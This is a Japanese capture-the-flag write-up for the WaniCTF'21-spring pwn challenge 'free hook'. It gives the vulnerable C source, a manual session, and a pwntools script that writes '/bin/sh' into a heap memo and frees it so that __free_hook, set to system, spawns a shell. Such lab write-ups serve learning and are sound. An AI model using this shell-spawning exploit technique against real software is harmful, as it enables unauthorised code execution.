WaniCTF'21-spring pwn 02 free hook を勉強した記録


WaniCTF'21-spring pwn 02 free hook

WaniCTF 2020 pwn 08 heap に似てるので「ここはどこ?私は何してたんだっけ?」と混乱した。

問題

nc free.pwn.wanictf.org 9002
free_hookの仕組みを理解する必要があります。

配布データ

pwn02
pwn02.c
pwn02.c
#include <malloc.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

char *g_memos[10];

void init();
void print_menu();
int get_int();
void list_memos();

void command() {
  int cmd;
  int index;
  int ret;

  print_menu();
  cmd = get_int();
  printf("index?[0-9]: ");
  index = get_int();

  switch (cmd) {
    case 1:
      if (g_memos[index] != 0) {
        free(g_memos[index]);
        g_memos[index] = 0;
      }
      g_memos[index] = malloc(0x10);
      printf("memo?: ");
      ret = read(0, g_memos[index], 0x10 - 1);
      g_memos[index][ret] = 0;
      break;
    case 2:
      puts(g_memos[index]);
      break;
    case 9:
      free(g_memos[index]);
      g_memos[index] = 0;
      break;
    default:
      break;
  }
}

int main() {
  init();

  __free_hook = system;

  while (1) {
    command();
    list_memos();
  }
}

void init() {
  int i;
  alarm(180);
  setbuf(stdin, NULL);
  setbuf(stdout, NULL);
  setbuf(stderr, NULL);

  for (i = 0; i < 10; i++) {
    g_memos[i] = 0;
  }
}

void print_menu() {
  printf("1: add memo\n2: view memo\n9: del memo\ncommand?: ");
}

int get_int() {
  char buf[10];
  int ret;
  ret = read(0, buf, 9);
  buf[ret] = 0;
  ret = atoi(buf);
  return ret;
}

void list_memos() {
  int i;
  printf("\n\n\n[[[list memos]]]\n");
  for (i = 0; i < 10; i++) {
    if (g_memos[i] != 0) {
      printf("***** %d *****\n", i);
      puts(g_memos[i]);
    }
  }
  puts("");
}

ソリューション

ソースを見ると

  __free_hook = system;

__free_hook(free したときにフックできるデバッグ用?の機能)がsystemに繋がってる。
確か,開放するチャンクそのものが引数。
"/bin/sh"を書いてfreeすると system("/bin/sh")になるはずだ

# ./pwn02
1: add memo
2: view memo
9: del memo
command?: 1
index?[0-9]: 0
memo?: /bin/sh



[[[list memos]]]
***** 0 *****
/bin/sh


1: add memo
2: view memo
9: del memo
command?: 9
index?[0-9]: 0
# ls
peda-session-pwn02.txt  pwn02  pwn02.c

ビンゴ

WaniCTF 2020 pwn 08 heapを勉強した後だったので瞬殺したが,大会中は何度もチャレンジしたが解けなかった。

pwn02.py
# coding: UTF-8
# WaniCTF'21-spring pwn 02 free hook

from pwn import *
import pwn 

#io = pwn.remote("free.pwn.wanictf.or", 9002)
io = pwn.process("./pwn02")

ret = io.readuntil("command?: ")
print(ret)
io.sendline("1")

ret = io.readuntil("index?[0-9]: ")
print(ret)
io.sendline("0")

ret = io.readuntil("memo?: ")
print(ret)
io.sendline("/bin/sh\x00")


# free --> __free_hook  --> system("/bin/sh")
ret = io.readuntil("command?: ")
print(ret)
io.sendline("9")

io.interactive()